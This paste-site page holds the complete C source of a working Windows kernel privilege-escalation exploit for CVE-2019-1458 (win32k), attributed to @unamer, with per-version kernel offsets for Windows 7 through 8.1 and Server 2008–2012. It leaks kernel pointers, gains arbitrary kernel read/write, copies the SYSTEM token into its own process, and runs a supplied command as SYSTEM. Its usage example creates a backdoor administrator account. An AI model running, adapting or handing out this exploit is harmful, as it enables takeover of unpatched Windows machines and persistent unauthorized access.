W0rMz000 icon

CVE-2019-1458

W0rMz000 | PRO | 11/03/20 07:37:53 PM UTC | 0 ⭐ | 237 👁️ | Never ⏰ | []
Python |

12.58 KB

|

None

|

0 👍

/

0 👎

#include <stdio.h>
#include <windows.h>
#include <VersionHelpers.h>
 
typedef struct _LARGE_UNICODE_STRING {
    ULONG Length;
    ULONG MaximumLength : 31;
    ULONG bAnsi : 1;
    PWSTR Buffer;
} LARGE_UNICODE_STRING, *PLARGE_UNICODE_STRING;
 
extern "C" NTSTATUS  NtUserMessageCall(HANDLE hWnd, UINT msg, WPARAM wParam, LPARAM lParam, ULONG_PTR ResultInfo, DWORD dwType, BOOL bAscii);
extern "C" NTSTATUS  NtUserDefSetText(HANDLE hWnd, PLARGE_UNICODE_STRING plstr);
extern "C" DWORD g_NtUserDefSetText_syscall = 0x1080, g_NtUserMessageCall_syscall = 0x1009;
 
 
#define SPARY_TIMES 0x1000
 
#ifdef _WIN64
typedef void*(NTAPI *lHMValidateHandle)(HANDLE h, int type);
#else
typedef void*(__fastcall *lHMValidateHandle)(HANDLE h, int type);
#endif
typedef NTSTATUS(__stdcall*RtlGetVersionT)(PRTL_OSVERSIONINFOW lpVersionInformation);
 
HWND g_hwnd = 0;
ULONG_PTR g_gap = 0;
 
lHMValidateHandle pHmValidateHandle = NULL;
 
BOOL FindHMValidateHandle() {
    HMODULE hUser32 = LoadLibraryA("user32.dll");
    if (hUser32 == NULL) {
        printf("Failed to load user32");
        return FALSE;
    }
 
    BYTE* pIsMenu = (BYTE *)GetProcAddress(hUser32, "IsMenu");
    if (pIsMenu == NULL) {
        printf("Failed to find location of exported function 'IsMenu' within user32.dll\n");
        return FALSE;
    }
    unsigned int uiHMValidateHandleOffset = 0;
    for (unsigned int i = 0; i < 0x1000; i++) {
        BYTE* test = pIsMenu + i;
        if (*test == 0xE8) {
            uiHMValidateHandleOffset = i + 1;
            break;
        }
    }
    if (uiHMValidateHandleOffset == 0) {
        printf("Failed to find offset of HMValidateHandle from location of 'IsMenu'\n");
        return FALSE;
    }
 
    unsigned int addr = *(unsigned int *)(pIsMenu + uiHMValidateHandleOffset);
    unsigned int offset = ((unsigned int)pIsMenu - (unsigned int)hUser32) + addr;
    //The +11 is to skip the padding bytes as on Windows 10 these aren't nops
    pHmValidateHandle = (lHMValidateHandle)((ULONG_PTR)hUser32 + offset + 11);
    return TRUE;
}
 
VOID
NTAPI
RtlInitLargeUnicodeString(IN OUT PLARGE_UNICODE_STRING DestinationString,
IN PCWSTR SourceString)
{
    ULONG DestSize;
 
    if (SourceString)
    {
        DestSize = wcslen(SourceString) * sizeof(WCHAR);
        DestinationString->Length = DestSize;
        DestinationString->MaximumLength = DestSize + sizeof(WCHAR);
    }
    else
    {
        DestinationString->Length = 0;
        DestinationString->MaximumLength = 0;
    }
 
    DestinationString->Buffer = (PWSTR)SourceString;
    DestinationString->bAnsi = FALSE;
}
 
void writedata(ULONG_PTR addr, ULONG_PTR data, ULONG size)
{
    SetClassLongPtr(g_hwnd, g_gap, addr);
    CHAR input[sizeof(ULONG_PTR)*2];
    RtlSecureZeroMemory(&input, sizeof(input));
    LARGE_UNICODE_STRING u;
    for (int i = 0; i<sizeof(ULONG_PTR); i++)
    {
        input[i] = (data >> (8 * i)) & 0xff;
    }
 
    RtlInitLargeUnicodeString(&u, (PCWSTR)input);
    u.Length = size;
    u.MaximumLength = size;
    NtUserDefSetText(g_hwnd, &u);
}
 
ULONG_PTR readdata(ULONG_PTR addr)
{
    SetClassLongPtr(g_hwnd, g_gap, addr);
    ULONG_PTR temp[2] = {0};
    InternalGetWindowText(g_hwnd, (LPWSTR)temp, sizeof(temp) - sizeof(WCHAR));
    return temp[0];
}
 
int main()
{
    ULONG_PTR off_tagWND_pself = 0x20, off_tagCLS_extra=0xa0, off_tagWND_tagCLS=0x98, off_tagWND_strName=0xe0;
    ULONG_PTR off_EPROCESS_Token = 0x348, off_KTHREAD_EPROCESS = 0x220, off_tagWND_parent=0x58, off_tagWND_pti=0x10;
    ULONG_PTR off_exp_tagCLS = 0;
    int argc = 0;
    wchar_t **argv = CommandLineToArgvW(GetCommandLineW(), &argc);
    puts("CVE-2019-1458 exploit by @unamer(https://github.com/unamer)");
    if (argc != 2)
    {
        printf("Usage: %S command\nExample: %S \"net user admin admin /ad & net user localgroup administrators admin /ad\"\n\nWARNING: YOU ONLY HAVE ONE CHANCE!!!", argv[0], argv[0]);
        return -1;
    }
 
    OSVERSIONINFOW osver;
    RtlSecureZeroMemory(&osver, sizeof(osver));
    osver.dwOSVersionInfoSize = sizeof(osver);
    RtlGetVersionT pRtlGetVersion = (RtlGetVersionT)GetProcAddress(GetModuleHandleA("ntdll"), "RtlGetVersion");
    pRtlGetVersion(&osver);
    if (osver.dwMajorVersion == 6) {
#ifdef _WIN64
        if (osver.dwMinorVersion == 0)//win2008
        {
            off_tagWND_pself = 0x20;
            off_tagCLS_extra = 0xa0;
            off_tagWND_tagCLS = 0x98;
            off_tagWND_strName = 0xe0;
            off_KTHREAD_EPROCESS = 0x210;
            off_tagWND_parent = 0x58;
            off_EPROCESS_Token = 0x208;
            off_tagWND_pti = 0x10;
            g_NtUserDefSetText_syscall = 0x1081;
            g_NtUserMessageCall_syscall = 0x1007;
            off_exp_tagCLS = 1; // stupid windows 2008
        }
        else if (osver.dwMinorVersion==1)
        {//win7 / win2008 R2
            off_tagWND_pself = 0x20;
            off_tagCLS_extra = 0xa0;
            off_tagWND_tagCLS = 0x98;
            off_tagWND_strName = 0xe0;
            off_KTHREAD_EPROCESS = 0x210;
            off_tagWND_parent = 0x58;
            off_EPROCESS_Token = 0x208;
            off_tagWND_pti = 0x10;
            g_NtUserDefSetText_syscall = 0x107f;
            g_NtUserMessageCall_syscall = 0x1007;
            off_exp_tagCLS = 1; // stupid windows 2008
        }
        else if (osver.dwMinorVersion == 2)
        {
            // win8/win2012
            off_tagWND_pself = 0x20;
            off_tagCLS_extra = 0xa0;
            off_tagWND_tagCLS = 0x98;
            off_tagWND_strName = 0xe0;
            off_EPROCESS_Token = 0x348;
            off_KTHREAD_EPROCESS = 0x220;
            off_tagWND_parent = 0x58;
            off_tagWND_pti = 0x10;
            g_NtUserDefSetText_syscall = 0x107f;
            g_NtUserMessageCall_syscall = 0x1008;
        }
        else if (osver.dwMinorVersion==3)
        {
            // win8.1 / win2012 R2
            off_tagWND_pself = 0x20;
            off_tagCLS_extra=0xa0;
            off_tagWND_tagCLS=0x98;
            off_tagWND_strName=0xe0;
            off_EPROCESS_Token = 0x348;
            off_KTHREAD_EPROCESS = 0x220;
            off_tagWND_parent=0x58;
            off_tagWND_pti=0x10;
            g_NtUserDefSetText_syscall = 0x1080;
            g_NtUserMessageCall_syscall = 0x1009;
        }
        else
        {
            printf("[!] This version of system was not supported (%d.%d)\n", osver.dwMajorVersion, osver.dwMinorVersion);
            return -99;
        }
 
#else
        // too lazy to support x32 version
        if (osver.dwMinorVersion == 0)//win2008 
        {
 
        }
        else
        {//win7
 
        }
 
#endif
    }
    else
    {
        printf("[!] This version of system was not supported (%d.%d)\n", osver.dwMajorVersion, osver.dwMinorVersion);
        return -99;
    }
 
 
    if (!FindHMValidateHandle()) {
        printf("[!] Failed to locate HmValidateHandle, exiting\n");
        return 1;
    }
 
    ULONG_PTR base_alloc = 0xc00000;
 
    ULONG_PTR target_addr = base_alloc << (8 * off_exp_tagCLS);
 
    ULONG_PTR temp = (ULONG_PTR)VirtualAlloc((LPVOID)target_addr, 0x1000, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
 
    if (temp != target_addr)
    {
        printf("[!] Failed to map 0x%p (0x%p), exiting (%llx)\n", target_addr, temp, GetLastError());
        return 2;
    }
 
    target_addr = (base_alloc + 0x10000) << (8 * off_exp_tagCLS);
    temp = (ULONG_PTR)VirtualAlloc((LPVOID)target_addr, 0x1000, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
 
    if (temp != target_addr)
    {
        printf("[!] Failed to map 0x%p (0x%p), exiting (%llx)\n", target_addr, temp, GetLastError());
        return 2;
    }
 
    const wchar_t CLASS_NAME[] = L"unamer";
 
    WNDCLASS wc;
    RtlSecureZeroMemory(&wc, sizeof(wc));
 
    HINSTANCE hself = GetModuleHandle(0);
 
    wc.lpfnWndProc = DefWindowProc;
    wc.hInstance = hself;
    wc.lpszClassName = CLASS_NAME;
    wc.cbWndExtra = 0x3000;
    wc.cbClsExtra = 0x3000;
 
    RegisterClass(&wc);
    HWND hwnd;
 
    ULONG_PTR tagWND = 0, tagCLS = 0;
    INT64 gap = 0;
 
    while (true)
    {
 
        hwnd = CreateWindowEx(0, CLASS_NAME, L"unamer", 0, 0, 0, 0, 0, NULL, NULL, hself, NULL);
 
        if (hwnd == NULL)
        {
            printf("[!] CreateWindowEx error 0x%x!\n", GetLastError());
            return 3;
        }
 
        char* lpUserDesktopHeapWindow = (char*)pHmValidateHandle(hwnd, 1);
        tagWND = *(ULONG_PTR*)(lpUserDesktopHeapWindow + off_tagWND_pself);
//      ULONG_PTR ulClientDelta = tagWND - (ULONG_PTR)lpUserDesktopHeapWindow;
        tagCLS = *(ULONG_PTR*)(lpUserDesktopHeapWindow + off_tagWND_tagCLS);
 
        gap = tagWND - tagCLS;
        if (gap>0 && gap<0x100000)
        {
            break;
        }
    }
 
    printf("[*] tagWND: 0x%p, tagCLS:0x%p, gap:0x%llx\n", tagWND, tagCLS, gap);
 
    WNDCLASSEX wcx;
    RtlSecureZeroMemory(&wcx, sizeof(wcx));
    wcx.hInstance = hself;
    wcx.cbSize = sizeof(wcx);
    wcx.lpszClassName = L"SploitWnd";
    wcx.lpfnWndProc = DefWindowProc;
    wcx.cbWndExtra = 8; //pass check in xxxSwitchWndProc to set wnd->fnid = 0x2A0
 
    printf("[*] Registering window\n");
    ATOM wndAtom = RegisterClassEx(&wcx);
    if (wndAtom == INVALID_ATOM) {
        printf("[-] Failed registering SploitWnd window class\n");
        exit(-1);
    }
 
    printf("[*] Creating instance of this window\n");
    HWND sploitWnd = CreateWindowEx(0, L"SploitWnd", L"", WS_VISIBLE, 0, 0, 0, 0, NULL, NULL, hself, NULL);
    if (sploitWnd == INVALID_HANDLE_VALUE) {
        printf("[-] Failed to create SploitWnd window\n");
        exit(-1);
    }
//  ULONG_PTR tagExpWnd = *(ULONG_PTR*)((char*)pHmValidateHandle(sploitWnd, 1) + off_tagWND_pself);
//  printf("[*] tagWND: 0x%p, tagCLS: 0x%p,tagExpWnd: 0x%p, gap: 0x%llx\n", tagWND, tagCLS, tagExpWnd, gap);
 
    printf("[*] Calling NtUserMessageCall to set fnid = 0x2A0 on window 0x%p\n", sploitWnd);
    NtUserMessageCall(sploitWnd, WM_CREATE, 0, 0, 0, 0xE0, 1);
 
    printf("[*] Calling SetWindowLongPtr to set window extra data, that will be later dereferenced\n");
    SetWindowLongPtr(sploitWnd, 0, tagCLS - off_exp_tagCLS);
    printf("[*] GetLastError = %x\n", GetLastError());
 
    printf("[*] Creating switch window #32771, this has a result of setting (gpsi+0x154) = 0x130\n");
    HWND switchWnd = CreateWindowEx(0, (LPCWSTR)0x8003, L"", 0, 0, 0, 0, 0, NULL, NULL, hself, NULL);
 
    printf("[*] Simulating alt key press\n");
    BYTE keyState[256];
    GetKeyboardState(keyState);
    keyState[VK_MENU] |= 0x80;
    SetKeyboardState(keyState);
/*  keybd_event(VK_MENU, 0, 0, 0);*/
    printf("[*] Triggering dereference of wnd->extraData by calling NtUserMessageCall second time\n");
 
    NtUserMessageCall(sploitWnd, WM_ERASEBKGND, 0, 0, 0, 0x0, 1);
 
    // now cbCLSExtra is very large
    // verify the oob read
    ULONG_PTR orig_name = SetClassLongPtr(hwnd, gap - off_tagCLS_extra + off_tagWND_strName, tagWND + off_tagWND_pself);
    ULONG_PTR testtagWND[2] = { 0 };
    InternalGetWindowText(hwnd, (LPWSTR)testtagWND, sizeof(ULONG_PTR));
    
    if (testtagWND[0] == tagWND)
    {
        ULONG_PTR tagExpWnd = *(ULONG_PTR*)((char*)pHmValidateHandle(sploitWnd, 1) + off_tagWND_pself);
        printf("[*] tagWND: 0x%p\n", tagExpWnd);
        printf("[+] Exploit success!\n");
        // fix tagCLS
        g_hwnd = hwnd;
        g_gap = gap - off_tagCLS_extra + off_tagWND_strName;
 
        writedata(tagExpWnd + 0x40, 0,4);
        writedata(tagCLS + 0x68, (ULONG_PTR)hself, 8);
        writedata(tagCLS + 0x58, (ULONG_PTR)DefWindowProc, 8);
 
        ULONG_PTR token = readdata(readdata(readdata(readdata(readdata(tagWND + off_tagWND_parent) + off_tagWND_pti)) + off_KTHREAD_EPROCESS) + off_EPROCESS_Token);
        ULONG_PTR ep = readdata(readdata(readdata(tagWND + off_tagWND_pti)) + off_KTHREAD_EPROCESS); // self EPROCESS
        ULONG_PTR temp = readdata(ep + off_EPROCESS_Token + sizeof(ULONG_PTR)); // fix WorkingSetPage
        writedata(ep + off_EPROCESS_Token, token, 8);
        writedata(ep + off_EPROCESS_Token + sizeof(ULONG_PTR), temp,8);
 
        // fix tagWND
        SetClassLongPtr(hwnd, g_gap, orig_name);
 
        DestroyWindow(hwnd);
        g_hwnd = 0;
        DestroyWindow(sploitWnd);
        UnregisterClass(CLASS_NAME, 0);
        UnregisterClass(L"SploitWnd", 0);
 
        SECURITY_ATTRIBUTES     sa;
        HANDLE                  hRead, hWrite;
        byte                    buf[40960] = { 0 };
        STARTUPINFOW            si;
        PROCESS_INFORMATION     pi;
        DWORD                   bytesRead;
        RtlSecureZeroMemory(&si, sizeof(si));
        RtlSecureZeroMemory(&pi, sizeof(pi));
        RtlSecureZeroMemory(&sa, sizeof(sa));
        int br = 0;
        sa.nLength = sizeof(SECURITY_ATTRIBUTES);
        sa.lpSecurityDescriptor = NULL;
        sa.bInheritHandle = TRUE;
        if (!CreatePipe(&hRead, &hWrite, &sa, 0))
        {
            return -3;
        }
        wprintf(L"[*] Trying to execute %s as SYSTEM\n", argv[1]);
        si.cb = sizeof(STARTUPINFO);
        GetStartupInfoW(&si);
        si.hStdError = hWrite;
        si.hStdOutput = hWrite;
        si.wShowWindow = SW_HIDE;
        si.lpDesktop = L"WinSta0\\Default";
        si.dwFlags = STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES;
        wchar_t cmd[4096] = { 0 };
        lstrcpyW(cmd, argv[1]);
        if (!CreateProcessW(NULL, cmd, NULL, NULL, TRUE, 0, NULL, NULL, &si, &pi))
        {
            CloseHandle(hWrite);
            CloseHandle(hRead);
            printf("[!] CreateProcessW Failed![%lx]\n", GetLastError());
            return -2;
        }
        CloseHandle(hWrite);
        printf("[+] ProcessCreated with pid %d!\n", pi.dwProcessId);
        while (1)
        {
            if (!ReadFile(hRead, buf + br, 4000, &bytesRead, NULL))
                break;
            br += bytesRead;
        }
        puts("===============================");
        puts((char*)buf);
        fflush(stdout);
        fflush(stderr);
        CloseHandle(hRead);
        CloseHandle(pi.hProcess);
        ExitProcess(0);
    }
    else
    {
        printf("[!] Exploit fail, test:0x%p,tagWND:0x%p, error:0x%lx\n", testtagWND, tagWND, GetLastError());
        ExitProcess(-5);
    }
}

Comments